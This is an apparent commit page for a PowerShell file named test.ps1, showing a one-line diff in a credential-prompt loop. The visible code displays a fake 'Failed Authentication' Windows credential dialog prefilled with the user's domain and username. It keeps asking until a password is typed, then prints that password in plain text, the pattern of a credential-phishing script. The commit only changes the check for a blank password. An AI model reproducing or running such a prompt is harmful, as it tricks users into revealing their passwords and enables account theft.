Update test.ps1
This commit is contained in:
parent
f358d74d66
commit
3c7f15b490
1 changed files with 1 additions and 1 deletions
|
@ -55,7 +55,7 @@ while ($form -eq $null)
|
|||
{
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
|
||||
if ($cred.Password -eq " ")
|
||||
if ($cred.Password -eq $null)
|
||||
{
|
||||
Write-Output "Credentials cannot be left blank. Please try again."
|
||||
$form = $null
|
||||
|
|
Loading…
Reference in a new issue